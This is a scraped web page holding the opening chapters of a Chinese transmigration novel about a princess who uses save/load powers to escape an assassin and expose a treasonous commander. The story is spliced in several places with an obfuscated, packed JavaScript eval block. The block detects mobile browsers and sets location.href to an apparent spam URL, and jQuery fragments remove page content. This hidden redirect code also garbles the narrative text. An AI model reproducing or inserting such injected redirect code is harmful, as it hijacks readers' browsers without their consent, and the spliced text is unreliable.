《我靠读档攒成就》 1. 成就0个 京城,靖王府,墨香轩。 残霞散成绮,边色满秋空。余晖撒入窗棂,便如挥毫落纸,丹青重描,晕染一片暗红,如水流至女子脚下。 女子静默站立,倏然睁眼,警惕四顾。又抬手捂在脖颈,没有摸到伤口,心下稍安。 窗外风声簌簌,愈显死寂。 她屏住呼吸,缓慢弯腰,把提在手中的食盒轻置于地,然后转身,飞快朝门口冲去! 离门口越近,心跳得越快。仿佛感知到了危险,她赶忙加快了速度,却仍逃不过身后袭来的劲风。 后颈一凉,倒下的身体撞开门扉,摔在暮色之下。 又是这样。 女子握紧拳头,颇感绝望。 这时,她听到从远处传来一声大喝,似乎是匆忙赶来的王府侍卫。 意识坠入黑暗之前,有人扶起她,焦急呼唤:“王妃!王妃……” 灵魂仿佛变成了羽毛,轻盈飘起,又在一片温暖的地方着陆。 孟望云睁开眼睛,她回到了系统空间。 系统并不意外她的到来,瞥了她几眼就继续小憩,留她自己平复情绪。 手再次抚上后颈,触感光滑,没有任何痕迹,更遑论伤口。但那被割开的痛苦,好似依旧停留在那里,无声提醒她已经死了两次。 不,是三次。 第一次死亡,是在现代世界。她明明遵守了交通规则,等绿灯亮起才迈步过马路,意外却还是发生了。 她被那辆车撞飞的时候,什么也来不及想。痛苦延迟仿若延迟一瞬,然后铺天盖地席卷而来,一切都变得模糊不清。 孟望云以为人生到此为止,可是不曾想她还会遇到“穿越”这种事。 她的运气一向不好—— 虽然一开局就面临随时下线的危险,但她有系统赠予的金手指,或许可以做到“未卜先知”。 “你可以使用我存读档的能力,在任意一个时间点存档、读档。只要帮我积攒够能量,我就可以送你回去。” 系统说过的话犹在耳边,“并且是让你回到车祸的前10分钟。” “所以,同意与我交易。” 没有人会拒绝新生,孟望云想。 交易达成,她面前立刻浮现出两块面板,左边的是白色,右边的是黑色。 “白色的是存读档面板,你有五个自主存档权,另一个是每月第一日子时自动存档。 黑色的是成就面板,成就达成,你能获得对应的积分奖励。当你的积分攒到100分,我就可以送你回去了。” 见孟望云点头,系统不再说话,她也读档回到穿越至此的最初。待她再回到系统空间,它依然浮在那里,令她无端想起大自然中受了伤默默自愈的兽。 孟望云没有打扰系统,闭目休息一会儿,然后打开存档面板。 白色面板上,两排三列分出六个格子,其中五个还是空白状态。右下角则是系统所说的每月自动存档点,现在存的是她刚穿越到这里的时候。 调整了一下心态,孟望云读了右下角的这个档。 下一瞬,手上多了一个重物。孟望云不用看,就知道是食盒。 她深吸口气,把食盒放在地上,循着蔓延到脚下的血迹,小心翼翼向房内深处走去。 孟望云一边走,一边回想这具身体的记忆。 原身是靖王妃,和亲王成婚距今不过半月。两人感情并不深厚,但也算相敬如宾。 而今日,原身一时兴起,想来给靖王送糕点促进一下夫妻感情,没想刚进屋就忽然身亡。 原身死后,孟望云的灵魂接管了这具身体。系统帮她把时间回溯到原身死前的那几分钟,以给她避开死亡的机会。 尽管如此,孟望云仍难逃一死,就仿佛这是既定的命运一样。 但她不接受这样的命运。即使重复百次,她也要找到逃生的契机。 孟望云绕过屏风,很快走到血迹源头。 室内昏暗,一个男人躺在地上,死不瞑目。猩红的血、惨白的脸,红与白对比鲜明,是那样刺眼。 记忆中靖王的脸和男人的面庞重合,她手指颤了颤,靖王死了? 思及原身莫名其妙的死亡,孟望云浑身一震,原来如此。 为什么“她”非死不可? 因为凶手要灭口! 屋顶传来一声轻响,这声音很轻,轻得仿若只是幻觉。 但孟望云死了那么多次,她毫不怀疑,在屋顶藏匿的人,不仅是杀死亲王的凶手,还是原身死亡的罪魁祸首,更是造成她前两次死亡的人! 风吹来,挂画微动。孟望云毫不犹豫选择读档,但已经来不及。 只是这次,她不再因为迷茫而无力、愤怒,她起码死了个明白,知道了为什么不论读档重来多少次,杀手依然坚持不懈索她的命。 即使她没有发现亲王的尸体,但只要原身来过墨香轩,杀手就不会放过她。毕竟,对方连亲王都敢杀,她这个王妃又算什么? 终于不是两眼摸瞎。她像在黑暗中握着一股绳子前行,终于摸到了一个绳结。凭借这个绳结,足够她分析出逃生的方法了。 这个杀手武功高强,这一点毋庸置疑。记忆中靖王武功不弱,身边还有不少高强的侍卫护身,但这杀手既能得手,说明对方实力必在众人之上。 想逃出去,必须解决杀手的问题。靠自己是不可能了,她不会武功,即使有武功秘籍可以学习,短时间内,她也无法提升到和杀手媲美的水平。 那只能凭借外力。 孟望云在系统空间回忆复盘,想到二周目时听到的远处喝声。在她目前的三段经历中,这是唯一一次有人发现这个杀手。 既然能发现凶手,那这人武功应该不弱,或许能与这杀手一战?即使抗不过几招,但就这几招的时间,也够她逃出墨香轩,找外面的侍卫求助了。 而且如果反复读档,这种小概率事件“有人发现凶手并与之一战”,未必不会再发生。 每次读档都是一次新开始,都有可能触发概率性事件。就像她玩过的高自由游戏,可以凭借反复读档SL出新的人物、新的事件,想来放到这里,也是一样。 所以,她为什么不能读档,刷出有人发现杀手,再趁他们打斗时逃出房间? 而她只要做到在杀手被发现之前,自己还活着就行了。 打定主意,孟望云熟练读档。 对自己死法已有经验的她,这次淡定自若,就好似一会儿被杀死的不是她而是别人一样。 她跨过血迹,提着食盒,就在这缓慢踱步,始终不绕过屏风。 与此同时,她的余光一直注意着窗户。那凶手藏在屋顶,杀她前必须从窗口进入房间,而房间里只有这一扇窗。 一道黑影掠过,她又死了一次。不知是不是习惯了痛苦,孟望云还有心情想,希望下一次她能换个死法,她真的感觉脖子要断了。 于是,在不知死了多少次后,被杀麻了的她,终是听见梦寐以求的那声大喊,随后是有人踏上屋顶、兵刃碰撞之声,更幸运的是,这个时候她还没死! 孟望云飞速存档,被杀了这么多次,她的手速早练出来了。存档成功,她立刻撇下食盒,拿出期末跑八百米的冲劲儿,夺门而出。 久违地沐浴在阳光之下,虽是暮光,她依旧感受到温暖。孟望云一心奔跑,头也不回,好不容易跑出一段距离,才缓缓放慢速度,回头观望情况。 屋顶,两道影子还在打斗,一道黑,一道蓝。黑影招式凌厉,蓝影奋力抵抗,就连孟望云也能看出,蓝影落入颓势,黑影则占上风。 突然,那黑影似是察觉了她的目光,向她望来,孟望云连忙收回眼神,继续往前,表情凝重。 这一路,她没有看见半个人影。 这么说也不对,准确而言,她没有看见一个活人。 沿路可见多个倒在地上的尸体,都身穿蓝色侍卫服饰,亦是同样的死状,可以看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有存档兜底,她多少有了点底气,只希望那蓝衣侍卫能多抗一会儿。 她希望见到的是能呼吸的活人,而不是一具即将被烧焦的尸体。 靖王府外,一队绯衣由紫袍带领,直向王府而来。 队伍行至王府门口,为首的紫袍挥了挥手,身后的绯衣便长驱而入,杀气腾腾。 与此同时,墨香轩的屋顶上,蒙面的黑衣人出手又快又狠,方呈白逐渐招架不住。 对方一个回旋,单腿横扫,他踉跄后退之时,黑衣人趁势猛攻,直至他身体倒飞而出,撞向身后的树木。 他一时没有力气起身,只能挣扎地伸手撑住地面,直起后背,抬头去寻黑衣人的身影。 果然,黑衣人已经无影无踪。 后背冷汗连连,方呈白思及他一路赶来时看见的尸体,还有逃走的王妃,他对亲王的情况有了隐隐猜测,却不敢相信。 如果不是墨香轩旁边忽起大火,他匆忙赶来救人时无意望了一眼墨香轩,被说不清道不明的心绪影响而进了墨香轩,那么没有他拖住黑衣人,王妃或许会死在对方手上。 如果靖王已死,那靖王妃就是王府唯一的主人。现在王府已经乱成了一锅粥,他们不能再失去王妃。 方呈白无比庆幸,自己当时遵循了内心的直觉,及时进了墨香轩,保住了王妃的命。 一阵脚步声从远及近,他从繁乱的思绪中抽离,戒备地握住佩刀。 难道是黑衣人去而复返? 这是第一个想法,但他很快排除,黑衣人武功高强,如果想要解决他,根本不会被他提前发现。 他仔细听这脚步声,他能听出来人疲惫不堪,似乎平时不常走动,最重要的是这人不会武功,不是侍卫。 侍女? 墨香轩附近起火,平常人谁会在这时来墨香轩? 方呈白怀疑来人心怀叵测,此时只要来人经过他的位置,他就先下手为强。 然而,来人在离他几步远的地方停下,似乎在观察、找寻什么。 他愈发肯定这人有问题。 他虽受了重伤,但好歹也恢复了一点力气,制服一个不会武功的人不在话下。 当来人迈步朝他走来时,他起身利落出刀,架在了来人的脖颈上。 2. 成就0个 方呈白闻到一缕若隐似无的香气。 似是秋雨中的桂花香,凛冽中带着柔软的香甜,鬼使神差,他忍不住低头想嗅闻更多。 身前人微微侧头,避开他的动作。但碍于他横在她脖颈前的刀,两人的距离仍然很近,呼吸可闻。 他也终于看清她的衣着,心里一慌,收刀后退几步,朝她行礼:“属下冒犯……” 孟望云声音冷淡:“那个人呢?” 方呈云正在低头懊悔,闻言没有反应过来,抬眸触上她的眼神,才恍然知晓她问的是谁。 暗骂自己蠢笨,他垂下目光,回答道:“属下无能,那人重伤我后便离开了。” 静了几息,他听到王妃问他有没有受伤,他犹豫了一下,不知如何回话。 他的确受了重伤,但若说出口,似乎显得他的确无能,不仅没有捉住黑衣人,还使自己受了伤; 可若说没有受伤,他又不想说谎,更不想逞能。 就在他思来想去时,孟望云嫌他的沉默浪费时间,直白地问他能不能自己走。 如果他不能,她可以扶他,那样会走更快一点。虽然她也没有多少力气就是了,孟望云暗想。 方呈白懂她的言下之意,立刻说:“属下能自己走。” 他不敢劳烦孟望云,在他眼里,孟望云是高高在上的靖王妃,他何德何能,麻烦王妃扶他走路。 而且靖王如若知晓此事,或许也不会轻饶了他。想到靖王,他有心想去屋内看看,如果靖王一息尚存,他得赶紧去叫府医。 见孟望云已率先往大门的方向走,还回头瞥了他一眼,意思他不赶紧跟上,方呈白压下想说的话,闷头走在她后面。 罢了,王妃既是从屋内出来的,肯定对靖王的情况一清二楚。只是方呈白捉摸不透她的态度,也无法从她的神情里看出什么。 如若她脸色悲伤,他便知亲王恐怕真遭了歹人毒手。可孟望云表情平静,只依稀能捕捉到她偶尔流露出的焦急,这使他难以判断靖王到底是没救了,还是或许有救。 一路紧赶慢赶,终于在火势彻底包围墨香轩前,快走到了墨香轩的大门。 孟望云拍心口顺气,浓烟呛得人很不舒服,难以心安。 刚迈出门槛,方呈白忽然大步超过她,护在她身前。 大火还在肆虐,可已经没有人在灭火了。 侍女们聚在一起,满脸惊恐。地上,蓝衣侍卫的尸体快堆成一座小山。 小山旁,一众身穿浅绯服饰的人立在那里。为首几人的刀上,正往下流着血,淅淅沥沥,在地面淌出一条红溪。 浅绯簇拥的中央,是一个骑在马上的紫袍男人。 他眉眼狠毒,盯着方呈白身后的孟望云,笑了: “靖王妃,你好大的胆子,竟敢弑杀皇亲国戚!” 孟望云皱眉,没有从原身记忆中找出对应的人物。但看这男人的作风,她猜测这位的身份应是诸如锦衣卫之首此类。 毕竟就算她真的杀了靖王,原身的家世也属不凡,这人敢直接上门捉拿,说明并不把原身的郡主娘、工部尚书爹放在眼里。 但别人不清楚,她还能不清楚吗,靖王早在原身进墨香轩前就死了,还很有可能是被刺杀! 比起究竟是谁派的刺客杀了靖王,她更想知道,这个紫袍的为什么说她是凶手,还这么信誓旦旦! 只是她没有身份这么质问,人家摆明不把她放在眼里,只怕她话还没落地,脑袋就先落地了。 眼下,她只能先表明自己是无辜的,顺便恭维一下紫袍,说服他去抓那个刺客。 孟望云从呆愣的方呈白身后走出,按记忆里的礼仪朝紫袍行了个礼。 “大人,杀害靖王的凶手另有其人。” 她昂首望向紫袍,和那暗含阴毒的眼神对上,不卑不亢,话语掷地有声: “此人尚在王府之中,大人高抬明镜,还望明鉴!” 紫袍眯了眯眼,“可据本官所知,靖王妃不仅在糕点里下毒毒杀靖王,还纵火烧了墨香轩以毁物证。” 她还欲开口,紫袍一句话堵住所有,“至于人证,想必在严刑拷打之下,也会还你一个清白。” 话音未落,他一挥手,几个浅绯袍大步向前,不费吹灰之力就制服了孟望云。 主要是她有自知之明,知晓反抗了也会是同样结果。 紫袍瞥了方呈白一眼,下令把“靖王妃从犯”也绑了,和她一样也被人往嘴里塞了块布团,说是为了防止两人交流。 靖王府的大门口,两个浅绯袍压她上了马车。 孟望云趁机找了一下方呈白的方向,他被压上了另一辆马车。从他刚才这一路的表情来看,他似乎以为她就是真凶了,这令孟望云哭笑不得,不知说什么好。 马车行驶前,她听到那几个浅绯袍称那紫袍“指挥使”。 这个称呼,加深了她对这群人是类似锦衣卫的猜测。 孟望云被送到牢房,浅绯袍和狱卒这边交接时,更是直接提到了指挥使大人,说她是指挥使亲自捉拿的重犯,要他们严加监管。 狱卒对浅绯袍很是尊敬,对孟望云的态度倒说不上恶劣,似乎还是在顾忌她的王妃身份。 孟望云是杀害靖王的真凶这事,仿佛已板上钉钉。她还等着来人拷问她,但浅绯袍把她压来后就离开了,狱卒也背对她,不论她说什么都充耳不闻。 方呈白不知被压在了哪间牢房,她只知自己这间牢房,是在最深处。 进牢房时,她嘴里的布团就被取下。闭目养神了会儿,孟望云再次向狱卒试探:“劳烦告知指挥使,我已知晓是谁杀了靖王。” 一个狱卒转身打量她一眼。孟望云抓住机会,又抛下一个炸弹,“我还知晓靖王更多事。” 孟望云面不改色,一派镇定。 那狱卒似乎有点动摇,对另外几个狱卒低语几句。然后他沉下声音,朝孟望云道:“卑职可以替王妃转达此话。王妃若有其它想一并告知,不如一次说清。” 孟望云摇头,表示没有别的话再需他转达。见他身影快要消失在目光所及之处,才悠然叫住他,“还有一句,我要他亲自找我谈。” 那身影一顿,继续往前走。 接下来的时间,孟望云安心等待鱼儿咬钩。 如若她真是靖王妃,在这罪名压下那刻,或许就如瓮中捉鳖,再难翻身。 靖王妃的糕点是小厨房准备的,而小厨房里的那些人都知道王妃和靖王刚成婚,感情一般。更妙的是,王妃送糕点这一心血来潮的举动,恰恰真的是心血来潮。 王妃为什么忽然去墨香轩?在不知情的人眼中,王妃这一行为实在突兀——原身与靖王成婚不到半月,这半月里,她去墨香轩的次数屈指可数。 于是,小厨房的人,路上看到王妃的人,王妃贴身伺候的人,都成了人证。 他们甚至不需要承认王妃下没下毒,只就王妃送糕点这事的确存在,原身便会百口莫辩。 毕竟,到如今这个时候,墨香轩已经被火烧得面目全非,火会烧去一切痕迹,包括食盒。 是以形成闭环。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744520|157545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >原身无法证明,靖王根本没吃她带来的糕点就死于非命。甚至这场燃起来的火,也会成为她的罪行之一。 她会是一个完美的背锅人。 不,不对。 孟望云能逃出来,是她能存读档的缘故。如果是原身,很大概率会直接在墨香轩身亡,而且她之所以能接管这具身体,也是她在降临这个世界时,原身已经死去了。 原身在进入墨香轩的那一刻,就和靖王一样难逃死亡。等大火蔓延到墨香轩,两人的尸体更会被烧得难窥原貌。 这时候的幕后人会怎么做? 或许会把这归结于一场意外,意外失火,又意外地烧到墨香轩,靖王夫妇又恰好在这里,是以,悲剧发生了。 恰好…… 孟望云眼神一凝。 还是那件事。原身来给靖王送糕点,是她忽然想做的事情。而一般这个时候,靖王是肯定在墨香轩办公的。 原身是这个局的一个意外,这也是为什么墨香轩屋顶上的杀手要除她灭口的原因。 即使她没有发现靖王尸体,杀手也会认为是她察觉到不对所以要逃跑,杀手不想让靖王真正的死因公之于众。 换言之,幕后人原本的计划是,大火意外烧到了墨香轩,侍卫们没能及时救出靖王。甚至可以随意找个人背锅纵火,靖王妃不去墨香轩,就会稀里糊涂成了寡妇。 幕后人的目标从来只有一个,那就是靖王,原身只是误入局中。 这个计划被靖王妃打乱,于是靖王妃面临两个结局:一是和靖王一样,死因归于葬身火海;二是,被当成替罪羊。 没有人会相信她的话,原身的爹娘再怎么求情,也很难保下她。且这种情况下,幕后人不会放弃斩草除根。 但孟望云不是真正的靖王妃。虽原身和她有相同的名字,但她是一个异世的灵魂,她还有系统的金手指。 她有为自己翻盘的机会。 早在找到方呈白时,她就飞快存了个档,存在了3号位。现下,她已有了大致的路,只要再验证几个猜测—— 孟望云勾了勾唇角,果然来了。 不知何时,牢房外的狱卒没了声息。白光一闪,在那熟悉的感觉袭来前,孟望云游刃有余读了档。 读的是3号档。 眨了眨眼,眼前是粗壮的树干,颈后是冰凉的刀锋。 要不是这蓝衣侍卫显露杀意,她又对杀意太过敏锐,她还不会在这个时间存档。 说来还要感谢他。不然,她就得读2号位了,从墨香轩大门到这的距离,她可不想多走一遍。 蓝衣侍卫这时已反应过来,正要行礼,被她出声打住。 “你叫什么名字?” 孟望云一边打量他,一边问。 刚才那一周目太匆忙,她都没仔细看他具体长什么样。如今一瞧,他看着人高马大、剑眉星目,五官却并不似想象中锋利,垂眸时,显出几分温润如玉。 像一柄自带剑鞘的剑。知道自己会伤人,于是把那一面隐藏起来,努力变得无害。 他本就对眼神很敏感。自从习了武,他更容易解析别人目光里蕴含了什么。 而这刹那,他第一次想在别人的目光下逃走。不想让王妃看他,又似乎想让王妃看他,连他也不清楚自己的心思。 他还没忘她问的话。往日轻轻松松就能出口的三个字,这时竟令他犹豫起来,不知怎样发音,才能说得顺畅、悦耳。 “……方呈白。”他迎上孟望云的眼神,尾音微微颤抖,“王妃,属下姓方,名呈白。” 3. 成就0个 孟望云打量方呈白,心里疑惑。不知他究竟在想什么,她也没兴趣刨根问底。 “你帮我做一件事。” 他立马变得严肃,仿佛下一句就要说“上刀山下火海,在所不辞”,孟望云颇觉好笑,“不是什么大事。” 她让他附耳过来,先是问了几句,得到他肯定的回应后,才笑着低声吩咐。 “记住了吗?” 方呈白认真点头。他不怎么明白,但既然这是她的吩咐,他便会依言照做。 孟望云满意,看他是越瞧越顺眼。 两人和上一周目一样,原路向墨香轩大门去。不同的是孟望云的心境,那时她还在思索杀手的下落,担忧杀手再来索命。 而此时,她已知晓会面临什么。前路不再未知,她可以掌握先机。 离门口还有一段距离,便遥遥望见那群绯袍。她心道果然,每一次读档都是新开始,但大致的方向不会变化,注定发生的事情依然会发生。 方呈白再次护在她身前。孟望云看他的背影,他这个侍卫当的很称职。 紫袍又先发制人,把罪名扣到她头顶。 这次,孟望云注意到,侍女们听到紫袍的话,其中有几个剧烈挣扎起来,似乎想为她辩解什么,都被绯袍暴力制止。 她从记忆中找出对应的角色,那几个是原身从娘家带来的侍女,和原身一起长大,对原身忠心耿耿。 紫袍下令,绯袍们上前绑住她。她朝紫袍笑了笑,紫袍似是被她的笑容激怒,眼神仿佛要把她就地格杀。 到了靖王府大门前,她在门口看了一圈,门口围着一些百姓。有几个好像有点眼熟,似乎是原身娘家孟府的下人。 门口停了五辆马车,其中一辆黑色的马车离得较远看不真切,车门前那对雕饰却夺目,想让人不注意到都难。 此时,那车的车帘无风自动,仿若幻觉。 她收回目光,望向旁边的方呈白。 方呈白的双手被绳子交叉绑在后面,一手的无名指搭在另一手的腕上,在她看过来的时候,轻敲了四下。 下一瞬,绯袍压着她,上了最近的那辆马车,低声警告她不要有小动作。 孟望云笑了笑,从前往后数,黑色马车正是第四辆。 刚才那周目绯袍压她上车时,她去找方呈白,却望到有一个黑影闪过,消失在后面的一辆马车里。 那黑影速度太快,她没有看清究竟是哪辆马车。 之前反复读档刷方呈白的时候,有几次她可是一直面朝窗口,等杀手来杀自己的。 是以,她的大脑已经帮她捕捉过几次杀手的身形,即使她没有看清,直觉也立刻帮她分辨出来,不断在叫嚣,那就是杀了她不知多少次的人。 她吩咐方呈白做的事,正是让他在出靖王府大门时,留意偏后几辆马车的动静。如果看到那杀手的身影去了其中一辆马车,就从前往后数,杀手呆在第几辆马车,就用手指在手腕上敲几下。 而在她吩咐方呈白前,问他的问题其实有两个:你是否重伤了那个刺客?如若看见那刺客,能否再认出? 对于这两个问题,方呈白都给了她肯定的答案。 如今,应证只需最后一步。 她阖目,读了1号档,回到了墨香轩屋内,屋顶传来兵戈交接之声。 孟望云把食盒放在书案,书案上文房四宝一应俱全。正摊开的文书洋洋洒洒地写着某地治水概况,孟望云瞄了一眼,没有找到相关的内容就不再细看。 她绕着书案走了一圈,在边角看到一个小盒子,打开,里面是整整齐齐的一沓书信。 原身认字,是以即使新上的字不是现代简体中文,孟望云也能大致看明白。她先看了眼信上的落款,原身听过这个名字,是当朝大将军,近年一直驻守边疆。 她拿了最上面的几张读,发现信纸的摆放顺序是按时间。从上往下,时间由远及近,而且每封信的间隔几乎是三月。 孟望云把信纸都拿了出来,直接看最后一张的落款时间。如今是十月,按规律,最后一封落款应该是九月才对,但这封书信的落款却是六月。 少了一封信。 是被别人带走了,还是靖王把信藏起来了? 她更倾向于后者。 翻遍书案上看起来能藏东西的地方后,她转战靠墙的随墙书橱。她把每本书都掏出来翻了翻,确保里面没有夹着纸张。 幸而这个书橱上摆放的书不多,摆在它上面的大部分都是杂物。 在抽出一本书时,她眼尖地看到书后一个小盒子,和那个装书信的盒子十分相似。 她把那个竖着摆放的盒子掏了出来,正要看,忽然发觉屋顶的声音消失了,然后是身后有风袭来。 孟望云飞快读档,读完档才发现自己读的是2号档,不远处的大火虎视眈眈。她又读了1号档,这回,她直接冲向书橱,把那本书和小盒子都取出来。 小盒子里也是一沓纸,她拿出第一张,看到下面那摞纸的颜色和信纸不同,触感也不一样,大概瞄一眼,似乎是行动记录。 她先看信纸,开头是寒暄,随后提及西陌近日来犯,损失惨重。 “吾疑有泄机密,故在军中排查细作,搜出数人。一人吐露,其与京师细作相接应,京师细作又与某官相勾结,斯言此次所泄机密便是官传。 虽已上书,吾仍忧心不已,望殿下搜查于京中。亡羊补牢,未为晚矣。” 孟望云明白那些记录是什么了。 大将军驻守边疆,正与西陌交界。他怀疑京城有西陌的细作,更甚者,京官之中还有人与细作勾结。是以给靖王写信,希望靖王能在京中找出细作与叛国之人。 而这些记录,正是靖王派人在京城排查百官数日后,找出的可疑人物。 纸上记录了此人一月来的一言一行,尤其是与一个行踪可疑的人先后出入相同场所,以及来源不明的大笔数目进账,进账时间还恰巧是出入相同场所之后。 此人,正是当朝绛衣卫指挥使,骆江。 而那行踪可疑之人,很大概率是西陌细作。 最后一页记录末尾,是靖王下属的汇报,言明骆江与细作再次出入相同场所。 在骆江包下的雅间,靖王下属找出骆江留下的情报并带回,同时在原处按照靖王先前的吩咐留下了假情报。 之后,他们跟踪出入雅间的细作,摸到了细作在京城的隐秘住所,等待靖王下一步安排。 孟望云神色凝重,这个汇报的落款日期是昨日。 她知道骆江急迫,也猜到是靖王掌握了足以影响他生死的把柄,逼得他又是派人刺杀又是纵火,但未想到背后的真相竟是如此。 给西陌细作传递情报,这可是叛国罪! 那时她托狱卒给他传话,也是想试探他究竟是幕后人,还是他只是幕后人放在幕前的棋子,却不曾想他胃口竟如此之大! 他不仅是皇帝身边的红人,在京城也近似权势滔天,如今他犯下此等罪行,以靖王为首的官员断然不会放过他,前提是她能够把这些证据带出去。 而且靖王下属汇报中有提到,他们截下了骆江想要传给西陌细作的第二份情报,他们必然会把那份情报带回交给靖王,就是不知靖王把它藏在哪里。 虽她认为情报上的字迹或许不是骆江亲笔,但证据自然是越多越好。且依照靖王的性格,事态发展到此,他或许会预备在近日弹劾骆江,肯定会搜寻骆江更多蛛丝马迹。 这时,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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凭借直觉,她直接把中间这一部分又大致分成两个区域,从两个区域交界处逐渐往外取书。 很快,由于没有书遮挡,书后面的橱壁上,一左一右显露出两个凹槽。 看那凹槽的形状,孟望云的心砰砰砰跳了起来。 她把那雕刻双兽的圆物掰开,分别放入凹槽。只听一声微不可闻的脆响,书橱分成了两部分,右侧向右缓缓平移,与画擦肩而过,稳稳抵住另一面墙壁后便停下不动。 书橱一分为二,一个入口由此显现,里面两侧的墙壁上挂着火把,光芒如星子。 孟望云缓缓平复激动的心绪。她方才还在思考怎么避开骆江的围堵,但有了这不知通向何处的通道,一切思虑便迎刃而解。 思及此处,她又恍惚一瞬。靖王倒在书橱旁边,开启密道入口的钥匙还在他身上,或许他曾想通过密道逃脱,却为时已晚。 孟望云整理思路,就差找到敲定骆江罪名的铁证了。 在火焰即将包围她时,她再次读档,直奔屏风后的书案。 书案上有两摞文书,一摞较高,另一摞较矮。矮的那摞里有靖王写下的奏折,孟望云匆忙读了开头几句,心下一震。 这是弹劾骆江的奏折。 孟望云已经熟悉靖王的字迹,是以她很肯定,这奏折是靖王亲笔所写。 时间容不得她感慨,赶紧继续搜寻。 她运气不错,在书案底部摸到一个暗格,掏出一个熟悉的红盒子,比前两个都要小。 里面不仅有骆江传给细作的第二份情报,还有一叠靖王准备的证据,包括并不限于骆江收受贿赂、结党营私、枉杀官员等等。 孟望云叹息一声。她走到靖王尸体前,伸手替他合上死不瞑目的眼。 4. 成就1个 孟望云在其余角落搜寻一番,并未找到其它相关线索。于是果断读了3号档,那个方呈白把刀架在她脖子上的时间点。 方呈白收了刀,正欲行礼,就被她一把拽住,朝前方的屋子奔去:“跟我来。” 她一面拽着他跑,一面梳理思路。 此时骆江应已抵达王府,或许正守在墨香轩大门口,紧盯墨香轩的情况。她必须抓紧时间,赶在骆江察觉不对派人进来前,带走关键证据与尸体。 大火也是悬在头顶的一把剑,摇摇欲坠,随时会落下。孟望云没有忘记找证据的前几回,大火好几次烧至墨香轩。 踏进门槛,孟望云立刻松开方呈白。她先是冲到书案前,找出一张没有字迹的纸,提笔蘸墨在纸上写了满满一面,几乎不带思考。 这是她预备给孟府爹娘的信,信的内容她早已打好腹稿。 写完,她交给方呈白,“把字吹干。” 然后她凭借记忆,从书橱里捞出小盒子,又从杂物里顺出三匹不知用途的布料。 她用其中两匹把小盒子包住,按影视剧里包袱的模样,凭手感折叠一番,留出一道缝隙后跨在肩上。 方呈白一边吹干字迹,一边看孟望云动作。他不知详情,见她绕过屏风,连忙下意识跟上。 靖王尸体随之映入眼帘,他震惊地呆在原地举着纸,不敢置信。 而这会儿功夫,孟望云已从靖王尸体摸出密道钥匙,又找出靖王亲笔奏折,用余下一匹布料仔细包好,放入包袱。 她瞥了一眼方呈白,他此时还未回神,不由吩咐他动起来:“别愣了,你从书橱中间开始向两边取书,速度要快,听到了吗?” 见他要把信递过来,她又补充一句,“我给你的信,你自己收好。” 孟望云从书案底部取出红盒,塞入包袱后收紧布料,缝隙逐渐消失,她又仔细检查一遍包袱,确保不会漏出证据。 她缓缓吐出一口气,抬眸一看。 方呈白速度很快,凹槽已经显出。他仍老老实实遵从她的吩咐取书,整个书橱的书都快被他取光了。 “可以了。” 孟望云走到凹槽前,对方呈白下了新的指令,“你去把靖王背肩上,当心一些。” 她本意是不想方呈白在尸体上留下痕迹,以防影响仵作判断。但方呈白好似误会了什么,深深低下头:“属下明白,王妃放心。” 他俯身,费了些力气才背起靖王,孟望云又招呼他,“快进来。” 孟望云在密道内部发现了两个凹槽,猜测其用途为关闭密道入口。待方呈白进了密道,她把钥匙放入,书橱随即合上,密道内只剩下两侧火把的微光。 密道入口关闭那一刻,孟望云的身子也软了下来,她伸手扶住墙壁,察觉到精神上深深的疲惫。 密道内光线不足,只能勉强视物。方呈白聆听她的呼吸声,犹豫了一下,还是忍不住关心道:“王妃,你还好吗?” 孟望云一时没回答,她扶着墙壁,慢慢蹲下缓了缓。 “还好。”她声音有些虚弱,“你呢?” 微芒下,方呈白努力辨认她的身形,轻声回话:“王妃放心,靖王贵体不会有损,属下定会竭尽全力。” 孟望云闻言一愣,笑着摇了摇头,知晓他这是又多想了。 她扶墙站起,“走罢。” 密道不宽,两人只能一前一后前行。方呈白坚持在孟望云前面走,他担心密道里会有机关。 走了一会儿,遇到一处向下的阶梯。阶梯很长,通向地底深处。 阶梯到头,是一条直路。直路前方则是一个岔路口,左右各一条通道。 孟望云拿不准主意,她问方呈白:“你平常运气如何?” 方呈白谦虚:“属下运气一般。” 哦,就是比她运气好。 “你想走哪条?” 他指了左边那条。 孟望云想走的是右边那条,但她对自己的运气有自知之明。她向来较为倒霉,右边的路肯定会比左边危险,方呈白无疑从侧面验证了她的想法。 是以她道:“走左边。” 左边的路走到尽头,又是岔路口。 这回是三条路,左中右。 孟望云感应了一下,她想走左边或右边。 问方呈白,方呈白说:“中间那条。” 孟望云愉快拍板:“走中间。” 几番下来,两人一路顺利,没有遇到任何机关。 孟望云苦中作乐地想,自己的运气和方呈白的运气可谓双重保险,实乃新型“探路仪”。 密道很长,孟望云有心理准备。她不曾想到的是,这密道竟然这么长,她感觉自己都快走一个时辰了,恍惚间在走徒步马拉松。 近一个时辰,两人不知遇到了多少个岔路口。密道之曲折,令人难以回顾来路是哪条。 原身是大家闺秀,平日不怎么出门,体力有限。孟望云坚持走了一段,还是体力不支,只得停下休息几回。 方呈白背上还有一个靖王,却不见疲惫。和她对话时,他声音依旧低沉有力,使孟望云感叹他这个侍卫的强悍。 她不知道的是,方呈白状态并不大好。如若火把的光再亮些许,她就会发现他脸色同样苍白。 就在她以为这路走不出去的时候,她听到了风声,从前方高处传来的风声。 孟望云喜极,风声意味出口,她立刻又有了向前的力气。 方呈白向前探路,是一段向上的阶梯。两人拾阶而上,在侧面的墙壁发现两个凹槽。 